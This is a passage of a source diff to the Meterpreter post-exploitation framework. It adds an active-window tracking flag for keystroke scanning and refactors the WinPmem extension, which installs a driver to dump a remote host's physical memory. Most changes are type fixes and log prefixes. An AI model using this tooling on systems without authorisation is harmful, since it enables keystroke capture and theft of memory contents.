|
||||||
switch (vKey)
|
switch (vKey)
|
||||||
{
|
{
|
||||||
case VK_CONTROL:
|
case VK_CONTROL:
|
||||||
@ -463,4 +578,4 @@ int ui_resolve_raw_api()
|
|||||||
}
|
}
|
||||||
|
|
||||||
return 1;
|
return 1;
|
||||||
}
|
}
|
||||||
|
2
c/meterpreter/source/extensions/stdapi/stdapi.h
Executable file → Normal file
2
c/meterpreter/source/extensions/stdapi/stdapi.h
Executable file → Normal file
@ -187,6 +187,8 @@
|
|||||||
#define TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_LENGTH MAKE_CUSTOM_TLV( TLV_META_TYPE_UINT, TLV_TYPE_EXTENSION_STDAPI, 3011 )
|
#define TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_LENGTH MAKE_CUSTOM_TLV( TLV_META_TYPE_UINT, TLV_TYPE_EXTENSION_STDAPI, 3011 )
|
||||||
#define TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_BUFFER MAKE_CUSTOM_TLV( TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_STDAPI, 3012 )
|
#define TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_BUFFER MAKE_CUSTOM_TLV( TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_STDAPI, 3012 )
|
||||||
|
|
||||||
|
#define TLV_TYPE_KEYSCAN_TRACK_ACTIVE_WINDOW MAKE_CUSTOM_TLV( TLV_META_TYPE_BOOL, TLV_TYPE_EXTENSION_STDAPI, 3013 )
|
||||||
|
|
||||||
// Event Log
|
// Event Log
|
||||||
#define TLV_TYPE_EVENT_SOURCENAME MAKE_CUSTOM_TLV( TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_STDAPI, 4000 )
|
#define TLV_TYPE_EVENT_SOURCENAME MAKE_CUSTOM_TLV( TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_STDAPI, 4000 )
|
||||||
#define TLV_TYPE_EVENT_HANDLE MAKE_CUSTOM_TLV( TLV_META_TYPE_QWORD, TLV_TYPE_EXTENSION_STDAPI, 4001 )
|
#define TLV_TYPE_EVENT_HANDLE MAKE_CUSTOM_TLV( TLV_META_TYPE_QWORD, TLV_TYPE_EXTENSION_STDAPI, 4001 )
|
||||||
|
@ -25,9 +25,9 @@
|
|||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
#include <time.h>
|
#include <time.h>
|
||||||
|
|
||||||
int WinPmem::pad(SIZE_T length)
|
int WinPmem::pad(uint64_t length)
|
||||||
{
|
{
|
||||||
SIZE_T start = 0;
|
uint64_t start = 0;
|
||||||
|
|
||||||
ZeroMemory(buffer_, buffer_size_);
|
ZeroMemory(buffer_, buffer_size_);
|
||||||
|
|
||||||
@ -38,7 +38,7 @@ int WinPmem::pad(SIZE_T length)
|
|||||||
if (!WriteFile(out_fd_, buffer_,
|
if (!WriteFile(out_fd_, buffer_,
|
||||||
to_write, &bytes_written, NULL) ||
|
to_write, &bytes_written, NULL) ||
|
||||||
bytes_written != to_write) {
|
bytes_written != to_write) {
|
||||||
dprintf("Failed to write padding");
|
dprintf("[WINPMEM] Failed to write padding");
|
||||||
goto error;
|
goto error;
|
||||||
};
|
};
|
||||||
|
|
||||||
@ -53,7 +53,7 @@ error:
|
|||||||
return 0;
|
return 0;
|
||||||
};
|
};
|
||||||
|
|
||||||
int WinPmem::copy_memory(SIZE_T start, SIZE_T end)
|
int WinPmem::copy_memory(uint64_t start, uint64_t end)
|
||||||
{
|
{
|
||||||
LARGE_INTEGER large_start;
|
LARGE_INTEGER large_start;
|
||||||
|
|
||||||
@ -75,20 +75,20 @@ int WinPmem::copy_memory(SIZE_T start, SIZE_T end)
|
|||||||
|
|
||||||
if (0xFFFFFFFF == SetFilePointerEx(
|
if (0xFFFFFFFF == SetFilePointerEx(
|
||||||
fd_, large_start, NULL, FILE_BEGIN)) {
|
fd_, large_start, NULL, FILE_BEGIN)) {
|
||||||
dprintf("Failed to seek in the pmem device.");
|
dprintf("[WINPMEM] Failed to seek in the pmem device.");
|
||||||
goto error;
|
goto error;
|
||||||
};
|
};
|
||||||
|
|
||||||
if (!ReadFile(fd_, buffer_, to_write, &bytes_read, NULL) ||
|
if (!ReadFile(fd_, buffer_, to_write, &bytes_read, NULL) ||
|
||||||
bytes_read != to_write) {
|
bytes_read != to_write) {
|
||||||
dprintf("Failed to Read memory.");
|
dprintf("[WINPMEM] Failed to Read memory.");
|
||||||
goto error;
|
goto error;
|
||||||
};
|
};
|
||||||
|
|
||||||
if (!WriteFile(out_fd_, buffer_, bytes_read,
|
if (!WriteFile(out_fd_, buffer_, bytes_read,
|
||||||
&bytes_written, NULL) ||
|
&bytes_written, NULL) ||
|
||||||
bytes_written != bytes_read) {
|
bytes_written != bytes_read) {
|
||||||
dprintf("Failed to write image file");
|
dprintf("[WINPMEM] Failed to write image file");
|
||||||
goto error;
|
goto error;
|
||||||
};
|
};
|
||||||
|
|
||||||
@ -112,11 +112,11 @@ int WinPmem::set_write_enabled(void)
|
|||||||
|
|
||||||
if (!DeviceIoControl(fd_, PMEM_WRITE_ENABLE, &mode, 4, NULL, 0,
|
if (!DeviceIoControl(fd_, PMEM_WRITE_ENABLE, &mode, 4, NULL, 0,
|
||||||
&size, NULL)) {
|
&size, NULL)) {
|
||||||
dprintf("Failed to set write mode. Maybe these drivers do not support this mode?");
|
dprintf("[WINPMEM] Failed to set write mode. Maybe these drivers do not support this mode?");
|
||||||
return -1;
|
return -1;
|
||||||
};
|
};
|
||||||
|
|
||||||
dprintf("Write mode enabled! Hope you know what you are doing.");
|
dprintf("[WINPMEM] Write mode enabled! Hope you know what you are doing.");
|
||||||
return 1;
|
return 1;
|
||||||
};
|
};
|
||||||
|
|
||||||
@ -125,23 +125,23 @@ void WinPmem::print_mode_(unsigned __int32 mode)
|
|||||||
{
|
{
|
||||||
switch (mode) {
|
switch (mode) {
|
||||||
case PMEM_MODE_IOSPACE:
|
case PMEM_MODE_IOSPACE:
|
||||||
dprintf("MMMapIoSpace");
|
dprintf("[WINPMEM] MMMapIoSpace");
|
||||||
break;
|
break;
|
||||||
|
|
||||||
case PMEM_MODE_PHYSICAL:
|
case PMEM_MODE_PHYSICAL:
|
||||||
dprintf("\\\\.\\PhysicalMemory");
|
dprintf("[WINPMEM] \\\\.\\PhysicalMemory");
|
||||||
break;
|
break;
|
||||||
|
|
||||||
case PMEM_MODE_PTE:
|
case PMEM_MODE_PTE:
|
||||||
dprintf("PTE Remapping");
|
dprintf("[WINPMEM] PTE Remapping");
|
||||||
break;
|
break;
|
||||||
|
|
||||||
case PMEM_MODE_PTE_PCI:
|
case PMEM_MODE_PTE_PCI:
|
||||||
dprintf("PTE Remapping with PCI introspection");
|
dprintf("[WINPMEM] PTE Remapping with PCI introspection");
|
||||||
break;
|
break;
|
||||||
|
|
||||||
default:
|
default:
|
||||||
dprintf("Unknown");
|
dprintf("[WINPMEM] Unknown");
|
||||||
};
|
};
|
||||||
};
|
};
|
||||||
|
|
||||||
@ -155,23 +155,25 @@ void WinPmem::print_memory_info()
|
|||||||
// Get the memory ranges.
|
// Get the memory ranges.
|
||||||
if (!DeviceIoControl(fd_, PMEM_INFO_IOCTRL, NULL, 0, (char *)&info,
|
if (!DeviceIoControl(fd_, PMEM_INFO_IOCTRL, NULL, 0, (char *)&info,
|
||||||
sizeof(info), &size, NULL)) {
|
sizeof(info), &size, NULL)) {
|
||||||
dprintf("Failed to get memory geometry,");
|
dprintf("[WINPMEM] Failed to get memory geometry,");
|
||||||
goto error;
|
goto error;
|
||||||
};
|
};
|
||||||
|
|
||||||
|
|
||||||
dprintf("CR3: 0x%010llX\n %d memory ranges:",
|
dprintf("[WINPMEM] CR3: 0x%010llX\n %d memory ranges:",
|
||||||
info.CR3.QuadPart, info.NumberOfRuns);
|
info.CR3.QuadPart, info.NumberOfRuns);
|
||||||
|
|
||||||
|
max_physical_memory_ = 0;
|
||||||
|
|
||||||
for (int64_t i = 0; i < info.NumberOfRuns.QuadPart; i++) {
|
for (int64_t i = 0; i < info.NumberOfRuns.QuadPart; i++) {
|
||||||
dprintf("Start 0x%08llX - Length 0x%08llX",
|
dprintf("[WINPMEM] Start 0x%08llX - Length 0x%08llX",
|
||||||
info.Run[i].start, info.Run[i].length);
|
info.Run[i].start, info.Run[i].length);
|
||||||
max_physical_memory_ = (SIZE_T)(info.Run[i].start + info.Run[i].length);
|
max_physical_memory_ = info.Run[i].start + info.Run[i].length;
|
||||||
};
|
};
|
||||||
|
|
||||||
// When using the pci introspection we dont know the maximum physical memory,
|
// When using the pci introspection we dont know the maximum physical memory,
|
||||||
// we therefore make a guess based on the total ram in the system.
|
// we therefore make a guess based on the total ram in the system.
|
||||||
dprintf("Acquitision mode ");
|
dprintf("[WINPMEM] Acquisition mode ");
|
||||||
print_mode_(mode_);
|
print_mode_(mode_);
|
||||||
|
|
||||||
if (mode_ == PMEM_MODE_PTE_PCI) {
|
if (mode_ == PMEM_MODE_PTE_PCI) {
|
||||||
@ -182,12 +184,12 @@ void WinPmem::print_memory_info()
|
|||||||
|
|
||||||
if (GlobalMemoryStatusEx(&statusx)) {
|
if (GlobalMemoryStatusEx(&statusx)) {
|
||||||
max_physical_memory_ = (size_t)(statusx.ullTotalPhys * 3 / 2);
|
max_physical_memory_ = (size_t)(statusx.ullTotalPhys * 3 / 2);
|
||||||
dprintf("Max physical memory guessed at 0x%08llX",
|
dprintf("[WINPMEM] Max physical memory guessed at 0x%08llX",
|
||||||
max_physical_memory_);
|
max_physical_memory_);
|
||||||
|
|
||||||
}
|
}
|
||||||
else {
|
else {
|
||||||
dprintf("Unable to guess max physical memory. Just Ctrl-C when done.");
|
dprintf("[WINPMEM] Unable to guess max physical memory. Just Ctrl-C when done.");
|
||||||
};
|
};
|
||||||
};
|
};
|
||||||
|
|
||||||
@ -206,7 +208,7 @@ int WinPmem::set_acquisition_mode(unsigned __int32 mode)
|
|||||||
// Set the acquisition mode.
|
// Set the acquisition mode.
|
||||||
if (!DeviceIoControl(fd_, PMEM_CTRL_IOCTRL, &mode, 4, NULL, 0,
|
if (!DeviceIoControl(fd_, PMEM_CTRL_IOCTRL, &mode, 4, NULL, 0,
|
||||||
&size, NULL)) {
|
&size, NULL)) {
|
||||||
dprintf("Failed to set acquisition mode %lu ", mode);
|
dprintf("[WINPMEM] Failed to set acquisition mode %lu ", mode);
|
||||||
print_mode_(mode);
|
print_mode_(mode);
|
||||||
return -1;
|
return -1;
|
||||||
};
|
};
|
||||||
@ -236,7 +238,7 @@ int WinPmem::create_output_file(TCHAR *output_filename)
|
|||||||
NULL);
|
NULL);
|
||||||
|
|
||||||
if (out_fd_ == INVALID_HANDLE_VALUE) {
|
if (out_fd_ == INVALID_HANDLE_VALUE) {
|
||||||
dprintf("Unable to create output file.");
|
dprintf("[WINPMEM] Unable to create output file.");
|
||||||
status = -1;
|
status = -1;
|
||||||
goto exit;
|
goto exit;
|
||||||
};
|
};
|
||||||
@ -253,7 +255,7 @@ int WinPmem::write_coredump()
|
|||||||
int status = -1;
|
int status = -1;
|
||||||
|
|
||||||
if (out_fd_ == INVALID_HANDLE_VALUE) {
|
if (out_fd_ == INVALID_HANDLE_VALUE) {
|
||||||
dprintf("Must open an output file first.");
|
dprintf("[WINPMEM] Must open an output file first.");
|
||||||
goto exit;
|
goto exit;
|
||||||
};
|
};
|
||||||
|
|
||||||
@ -262,12 +264,12 @@ int WinPmem::write_coredump()
|
|||||||
// Get the memory ranges.
|
// Get the memory ranges.
|
||||||
if (!DeviceIoControl(fd_, PMEM_INFO_IOCTRL, NULL, 0, (char *)&info,
|
if (!DeviceIoControl(fd_, PMEM_INFO_IOCTRL, NULL, 0, (char *)&info,
|
||||||
sizeof(info), &size, NULL)) {
|
sizeof(info), &size, NULL)) {
|
||||||
dprintf("Failed to get memory geometry,");
|
dprintf("[WINPMEM] Failed to get memory geometry,");
|
||||||
status = -1;
|
status = -1;
|
||||||
goto exit;
|
goto exit;
|
||||||
};
|
};
|
||||||
|
|
||||||
dprintf("Will write an elf coredump.");
|
dprintf("[WINPMEM] Will write an elf coredump.");
|
||||||
print_memory_info();
|
print_memory_info();
|
||||||
|
|
||||||
if (!write_coredump_header_(&info)) {
|
if (!write_coredump_header_(&info)) {
|
||||||
@ -282,7 +284,7 @@ int WinPmem::write_coredump()
|
|||||||
last_header_offset_ = out_offset;
|
last_header_offset_ = out_offset;
|
||||||
|
|
||||||
if (!WriteFile(out_fd_, metadata_, metadata_len_, &metadata_len_, NULL)) {
|
if (!WriteFile(out_fd_, metadata_, metadata_len_, &metadata_len_, NULL)) {
|
||||||
dprintf("Can not write metadata.");
|
dprintf("[WINPMEM] Can not write metadata.");
|
||||||
}
|
}
|
||||||
|
|
||||||
out_offset += metadata_len_;
|
out_offset += metadata_len_;
|
||||||
@ -316,7 +318,7 @@ void WinPmem::CreateChildProcess(TCHAR *command, HANDLE stdout_wr)
|
|||||||
siStartInfo.hStdError = stdout_wr;
|
siStartInfo.hStdError = stdout_wr;
|
||||||
siStartInfo.dwFlags |= STARTF_USESTDHANDLES;
|
siStartInfo.dwFlags |= STARTF_USESTDHANDLES;
|
||||||
|
|
||||||
dprintf("Launching %s", command);
|
dprintf("[WINPMEM] Launching %s", command);
|
||||||
|
|
||||||
// Create the child process.
|
// Create the child process.
|
||||||
bSuccess = CreateProcess(NULL,
|
bSuccess = CreateProcess(NULL,
|
||||||
@ -332,7 +334,7 @@ void WinPmem::CreateChildProcess(TCHAR *command, HANDLE stdout_wr)
|
|||||||
|
|
||||||
// If an error occurs, exit the application.
|
// If an error occurs, exit the application.
|
||||||
if (!bSuccess) {
|
if (!bSuccess) {
|
||||||
dprintf("Unable to launch process.");
|
dprintf("[WINPMEM] Unable to launch process.");
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -353,14 +355,14 @@ void WinPmem::write_page_file()
|
|||||||
TCHAR filename[MAX_PATH + 1];
|
TCHAR filename[MAX_PATH + 1];
|
||||||
|
|
||||||
if (!GetTempPath(MAX_PATH, path)) {
|
if (!GetTempPath(MAX_PATH, path)) {
|
||||||
dprintf("Unable to determine temporary path.");
|
dprintf("[WINPMEM] Unable to determine temporary path.");
|
||||||
goto error;
|
goto error;
|
||||||
}
|
}
|
||||||
|
|
||||||
// filename is now the random path.
|
// filename is now the random path.
|
||||||
GetTempFileName(path, L"fls", 0, filename);
|
GetTempFileName(path, L"fls", 0, filename);
|
||||||
|
|
||||||
dprintf("Extracting fcat to %s", filename);
|
dprintf("[WINPMEM] Extracting fcat to %s", filename);
|
||||||
if (extract_file_(WINPMEM_FCAT_EXECUTABLE, filename) < 0) {
|
if (extract_file_(WINPMEM_FCAT_EXECUTABLE, filename) < 0) {
|
||||||
goto error;
|
goto error;
|
||||||
};
|
};
|
||||||
@ -375,7 +377,7 @@ void WinPmem::write_page_file()
|
|||||||
|
|
||||||
// Create a pipe for the child process's STDOUT.
|
// Create a pipe for the child process's STDOUT.
|
||||||
if (!CreatePipe(&stdout_rd, &stdout_wr, &saAttr, 0)) {
|
if (!CreatePipe(&stdout_rd, &stdout_wr, &saAttr, 0)) {
|
||||||
dprintf("StdoutRd CreatePipe");
|
dprintf("[WINPMEM] StdoutRd CreatePipe");
|
||||||
goto error;
|
goto error;
|
||||||
};
|
};
|
||||||
|
|
||||||
@ -386,7 +388,7 @@ void WinPmem::write_page_file()
|
|||||||
filename, &pagefile_path_[3], pagefile_path_);
|
filename, &pagefile_path_[3], pagefile_path_);
|
||||||
|
|
||||||
CreateChildProcess(command_line, stdout_wr);
|
CreateChildProcess(command_line, stdout_wr);
|
||||||
dprintf("Preparing to read pagefile.");
|
dprintf("[WINPMEM] Preparing to read pagefile.");
|
||||||
while (1) {
|
while (1) {
|
||||||
DWORD bytes_read = buffer_size_;
|
DWORD bytes_read = buffer_size_;
|
||||||
DWORD bytes_written = 0;
|
DWORD bytes_written = 0;
|
||||||
@ -397,7 +399,7 @@ void WinPmem::write_page_file()
|
|||||||
|
|
||||||
if (!WriteFile(out_fd_, buffer_, bytes_read, &bytes_written, NULL) ||
|
if (!WriteFile(out_fd_, buffer_, bytes_read, &bytes_written, NULL) ||
|
||||||
bytes_written != bytes_read) {
|
bytes_written != bytes_read) {
|
||||||
dprintf("Failed to write image file");
|
dprintf("[WINPMEM] Failed to write image file");
|
||||||
goto error;
|
goto error;
|
||||||
};
|
};
|
||||||
|
|
||||||
@ -425,7 +427,7 @@ error:
|
|||||||
|
|
||||||
if (!WriteFile(out_fd_, metadata, metadata_len, &bytes_written, NULL) ||
|
if (!WriteFile(out_fd_, metadata, metadata_len, &bytes_written, NULL) ||
|
||||||
bytes_written != metadata_len) {
|
bytes_written != metadata_len) {
|
||||||
dprintf("Failed to write image file");
|
dprintf("[WINPMEM] Failed to write image file");
|
||||||
};
|
};
|
||||||
|
|
||||||
out_offset += bytes_written;
|
out_offset += bytes_written;
|
||||||
@ -443,7 +445,7 @@ int WinPmem::write_raw_image() {
|
|||||||
int status = -1;
|
int status = -1;
|
||||||
|
|
||||||
if (out_fd_ == INVALID_HANDLE_VALUE) {
|
if (out_fd_ == INVALID_HANDLE_VALUE) {
|
||||||
dprintf("Must open an output file first.");
|
dprintf("[WINPMEM] Must open an output file first.");
|
||||||
goto exit;
|
goto exit;
|
||||||
};
|
};
|
||||||
|
|
||||||
@ -452,18 +454,18 @@ int WinPmem::write_raw_image() {
|
|||||||
// Get the memory ranges.
|
// Get the memory ranges.
|
||||||
if (!DeviceIoControl(fd_, PMEM_INFO_IOCTRL, NULL, 0, (char *)&info,
|
if (!DeviceIoControl(fd_, PMEM_INFO_IOCTRL, NULL, 0, (char *)&info,
|
||||||
sizeof(info), &size, NULL)) {
|
sizeof(info), &size, NULL)) {
|
||||||
dprintf("Failed to get memory geometry,");
|
dprintf("[WINPMEM] Failed to get memory geometry,");
|
||||||
status = -1;
|
status = -1;
|
||||||
goto exit;
|
goto exit;
|
||||||
};
|
};
|
||||||
|
|
||||||
dprintf("Will generate a RAW image");
|
dprintf("[WINPMEM] Will generate a RAW image");
|
||||||
print_memory_info();
|
print_memory_info();
|
||||||
|
|
||||||
int64_t offset = 0;
|
int64_t offset = 0;
|
||||||
for (int64_t i = 0; i < info.NumberOfRuns.QuadPart; i++) {
|
for (int64_t i = 0; i < info.NumberOfRuns.QuadPart; i++) {
|
||||||
if (info.Run[i].start > offset) {
|
if (info.Run[i].start > offset) {
|
||||||
dprintf("Padding from 0x%08llX to 0x%08llX", offset, info.Run[i].start);
|
dprintf("[WINPMEM] Padding from 0x%08llX to 0x%08llX", offset, info.Run[i].start);
|
||||||
if (!pad((size_t)(info.Run[i].start - offset))) {
|
if (!pad((size_t)(info.Run[i].start - offset))) {
|
||||||
goto exit;
|
goto exit;
|
||||||
}
|
}
|
||||||
@ -519,19 +521,19 @@ int WinPmem::extract_file_(__int64 resource_id, TCHAR *filename)
|
|||||||
// Locate the driver resource in the .EXE file.
|
// Locate the driver resource in the .EXE file.
|
||||||
HRSRC hRes = FindResource(NULL, MAKEINTRESOURCE(resource_id), L"FILE");
|
HRSRC hRes = FindResource(NULL, MAKEINTRESOURCE(resource_id), L"FILE");
|
||||||
if (hRes == NULL) {
|
if (hRes == NULL) {
|
||||||
dprintf("Could not locate driver resource.");
|
dprintf("[WINPMEM] Could not locate driver resource.");
|
||||||
goto error;
|
goto error;
|
||||||
}
|
}
|
||||||
|
|
||||||
HGLOBAL hResLoad = LoadResource(NULL, hRes);
|
HGLOBAL hResLoad = LoadResource(NULL, hRes);
|
||||||
if (hResLoad == NULL) {
|
if (hResLoad == NULL) {
|
||||||
dprintf("Could not load driver resource.");
|
dprintf("[WINPMEM] Could not load driver resource.");
|
||||||
goto error;
|
goto error;
|
||||||
}
|
}
|
||||||
|
|
||||||
VOID *lpResLock = LockResource(hResLoad);
|
VOID *lpResLock = LockResource(hResLoad);
|
||||||
if (lpResLock == NULL) {
|
if (lpResLock == NULL) {
|
||||||
dprintf("Could not lock driver resource.");
|
dprintf("[WINPMEM] Could not lock driver resource.");
|
||||||
goto error;
|
goto error;
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -542,12 +544,12 @@ int WinPmem::extract_file_(__int64 resource_id, TCHAR *filename)
|
|||||||
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
|
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||||
|
|
||||||
if (out_fd == INVALID_HANDLE_VALUE) {
|
if (out_fd == INVALID_HANDLE_VALUE) {
|
||||||
dprintf("Can not create temporary file.");
|
dprintf("[WINPMEM] Can not create temporary file.");
|
||||||
goto error_resource;
|
goto error_resource;
|
||||||
};
|
};
|
||||||
|
|
||||||
if (!WriteFile(out_fd, lpResLock, size, &size, NULL)) {
|
if (!WriteFile(out_fd, lpResLock, size, &size, NULL)) {
|
||||||
dprintf("Can not write to temporary file.");
|
dprintf("[WINPMEM] Can not write to temporary file.");
|
||||||
goto error_file;
|
goto error_file;
|
||||||
}
|
}
|
||||||
CloseHandle(out_fd);
|
CloseHandle(out_fd);
|
||||||
@ -614,7 +616,7 @@ int WinPmem::install_driver() {
|
|||||||
|
|
||||||
scm = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE);
|
scm = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE);
|
||||||
if (!scm) {
|
if (!scm) {
|
||||||
dprintf("Can not open SCM. Are you administrator?\n");
|
dprintf("[WINPMEM] Can not open SCM. Are you administrator?\n");
|
||||||
goto error;
|
goto error;
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -641,12 +643,12 @@ int WinPmem::install_driver() {
|
|||||||
};
|
};
|
||||||
if (!StartService(service, 0, NULL)) {
|
if (!StartService(service, 0, NULL)) {
|
||||||
if (GetLastError() != ERROR_SERVICE_ALREADY_RUNNING) {
|
if (GetLastError() != ERROR_SERVICE_ALREADY_RUNNING) {
|
||||||
dprintf("Error: StartService(), Cannot start the driver.\n");
|
dprintf("[WINPMEM] Error: StartService(), Cannot start the driver.\n");
|
||||||
goto service_error;
|
goto service_error;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
dprintf("Loaded Driver %s.\n", driver_filename_);
|
dprintf("[WINPMEM] Loaded Driver %s.\n", driver_filename_);
|
||||||
|
|
||||||
fd_ = CreateFile(TEXT("\\\\.\\") TEXT(PMEM_DEVICE_NAME),
|
fd_ = CreateFile(TEXT("\\\\.\\") TEXT(PMEM_DEVICE_NAME),
|
||||||
// Write is needed for IOCTL.
|
// Write is needed for IOCTL.
|
||||||
@ -658,7 +660,7 @@ int WinPmem::install_driver() {
|
|||||||
NULL);
|
NULL);
|
||||||
|
|
||||||
if (fd_ == INVALID_HANDLE_VALUE) {
|
if (fd_ == INVALID_HANDLE_VALUE) {
|
||||||
dprintf("Can not open raw device.");
|
dprintf("[WINPMEM] Can not open raw device.");
|
||||||
status = -1;
|
status = -1;
|
||||||
};
|
};
|
||||||
|
|
||||||
@ -671,7 +673,7 @@ service_error:
|
|||||||
error:
|
error:
|
||||||
// Only remove the driver file if it was a temporary file.
|
// Only remove the driver file if it was a temporary file.
|
||||||
if (driver_is_tempfile_) {
|
if (driver_is_tempfile_) {
|
||||||
dprintf("Deleting %S", driver_filename_);
|
dprintf("[WINPMEM] Deleting %S", driver_filename_);
|
||||||
DeleteFile(driver_filename_);
|
DeleteFile(driver_filename_);
|
||||||
};
|
};
|
||||||
|
|
||||||
@ -695,7 +697,7 @@ int WinPmem::uninstall_driver()
|
|||||||
|
|
||||||
DeleteService(service);
|
DeleteService(service);
|
||||||
CloseServiceHandle(service);
|
CloseServiceHandle(service);
|
||||||
dprintf("Driver Unloaded.");
|
dprintf("[WINPMEM] Driver Unloaded.");
|
||||||
|
|
||||||
return 1;
|
return 1;
|
||||||
|
|
||||||
@ -814,7 +816,7 @@ __int64 WinPmem::write_coredump_header_(struct PmemMemoryInfo *info)
|
|||||||
|
|
||||||
header_size = sizeof(header);
|
header_size = sizeof(header);
|
||||||
if (!WriteFile(out_fd_, &header, header_size, &header_size, NULL)) {
|
if (!WriteFile(out_fd_, &header, header_size, &header_size, NULL)) {
|
||||||
dprintf("Failed to write header");
|
dprintf("[WINPMEM] Failed to write header");
|
||||||
goto error;
|
goto error;
|
||||||
};
|
};
|
||||||
|
|
||||||
@ -838,7 +840,7 @@ __int64 WinPmem::write_coredump_header_(struct PmemMemoryInfo *info)
|
|||||||
|
|
||||||
header_size = sizeof(pheader);
|
header_size = sizeof(pheader);
|
||||||
if (!WriteFile(out_fd_, &pheader, header_size, &header_size, NULL)) {
|
if (!WriteFile(out_fd_, &pheader, header_size, &header_size, NULL)) {
|
||||||
dprintf("Failed to write header");
|
dprintf("[WINPMEM] Failed to write header");
|
||||||
goto error;
|
goto error;
|
||||||
};
|
};
|
||||||
|
|
||||||
@ -856,7 +858,7 @@ __int64 WinPmem::write_coredump_header_(struct PmemMemoryInfo *info)
|
|||||||
|
|
||||||
header_size = sizeof(pheader);
|
header_size = sizeof(pheader);
|
||||||
if (!WriteFile(out_fd_, &pheader, header_size, &header_size, NULL)) {
|
if (!WriteFile(out_fd_, &pheader, header_size, &header_size, NULL)) {
|
||||||
dprintf("Failed to write header");
|
dprintf("[WINPMEM] Failed to write header");
|
||||||
goto error;
|
goto error;
|
||||||
};
|
};
|
||||||
|
|
||||||
@ -885,7 +887,7 @@ int WinPmem64::extract_driver()
|
|||||||
|
|
||||||
// Gets the temp path env string (no guarantee it's a valid path).
|
// Gets the temp path env string (no guarantee it's a valid path).
|
||||||
if (!GetTempPath(MAX_PATH, path)) {
|
if (!GetTempPath(MAX_PATH, path)) {
|
||||||
dprintf("Unable to determine temporary path.");
|
dprintf("[WINPMEM] Unable to determine temporary path.");
|
||||||
goto error;
|
goto error;
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -895,7 +897,7 @@ int WinPmem64::extract_driver()
|
|||||||
driver_is_tempfile_ = true;
|
driver_is_tempfile_ = true;
|
||||||
};
|
};
|
||||||
|
|
||||||
dprintf("Extracting driver to %S", driver_filename_);
|
dprintf("[WINPMEM] Extracting driver to %S", driver_filename_);
|
||||||
|
|
||||||
return extract_file_(WINPMEM_64BIT_DRIVER, driver_filename_);
|
return extract_file_(WINPMEM_64BIT_DRIVER, driver_filename_);
|
||||||
|
|
||||||
@ -914,7 +916,7 @@ int WinPmem32::extract_driver()
|
|||||||
|
|
||||||
// Gets the temp path env string (no guarantee it's a valid path).
|
// Gets the temp path env string (no guarantee it's a valid path).
|
||||||
if (!GetTempPath(MAX_PATH, path)) {
|
if (!GetTempPath(MAX_PATH, path)) {
|
||||||
dprintf("Unable to determine temporary path.");
|
dprintf("[WINPMEM] Unable to determine temporary path.");
|
||||||
goto error;
|
goto error;
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -924,7 +926,7 @@ int WinPmem32::extract_driver()
|
|||||||
driver_is_tempfile_ = true;
|
driver_is_tempfile_ = true;
|
||||||
};
|
};
|
||||||
|
|
||||||
dprintf("Extracting driver to %S", driver_filename_);
|
dprintf("[WINPMEM] Extracting driver to %S", driver_filename_);
|
||||||
|
|
||||||
return extract_file_(WINPMEM_32BIT_DRIVER, driver_filename_);
|
return extract_file_(WINPMEM_32BIT_DRIVER, driver_filename_);
|
||||||
|
|
||||||
|
@ -56,8 +56,8 @@ protected:
|
|||||||
int extract_file_(__int64 resource_id, TCHAR *filename);
|
int extract_file_(__int64 resource_id, TCHAR *filename);
|
||||||
virtual __int64 write_coredump_header_(struct PmemMemoryInfo *info);
|
virtual __int64 write_coredump_header_(struct PmemMemoryInfo *info);
|
||||||
|
|
||||||
int pad(SIZE_T length);
|
int pad(uint64_t length);
|
||||||
int copy_memory(SIZE_T start, SIZE_T end);
|
int copy_memory(uint64_t start, uint64_t end);
|
||||||
|
|
||||||
// The file handle to the pmem device.
|
// The file handle to the pmem device.
|
||||||
HANDLE fd_;
|
HANDLE fd_;
|
||||||
@ -71,7 +71,7 @@ protected:
|
|||||||
bool driver_is_tempfile_;
|
bool driver_is_tempfile_;
|
||||||
|
|
||||||
// This is the maximum size of memory calculated.
|
// This is the maximum size of memory calculated.
|
||||||
SIZE_T max_physical_memory_;
|
uint64_t max_physical_memory_;
|
||||||
|
|
||||||
// Current offset in output file (Total bytes written so far).
|
// Current offset in output file (Total bytes written so far).
|
||||||
unsigned __int64 out_offset;
|
unsigned __int64 out_offset;
|
||||||
|
@ -1,3 +1,4 @@
|
|||||||
|
#define DEBUGTRACE 1
|
||||||
extern "C"{
|
extern "C"{
|
||||||
/*!
|
/*!
|
||||||
* @file WINPMEM.cpp
|
* @file WINPMEM.cpp
|
||||||
@ -100,7 +101,7 @@ HANDLE WinPmem_meterpreter::get_fd() {
|
|||||||
return fd_;
|
return fd_;
|
||||||
}
|
}
|
||||||
|
|
||||||
SIZE_T WinPmem_meterpreter::get_max_physical_memory() {
|
uint64_t WinPmem_meterpreter::get_max_physical_memory() {
|
||||||
return max_physical_memory_;
|
return max_physical_memory_;
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -216,7 +217,7 @@ DWORD dump_ram(Remote *remote, Packet *packet)
|
|||||||
goto end;
|
goto end;
|
||||||
};
|
};
|
||||||
|
|
||||||
//Initialize max_physical_memory_ when calling print_memory_info !!!!
|
// Initialize max_physical_memory_ when calling print_memory_info !!!!
|
||||||
pmem_handle->print_memory_info();
|
pmem_handle->print_memory_info();
|
||||||
|
|
||||||
Channel *newChannel;
|
Channel *newChannel;
|
||||||
@ -326,8 +327,8 @@ static DWORD winpmem_channel_read(Channel *channel, Packet *request,
|
|||||||
dprintf("[WINPMEM] Memory end reached.");
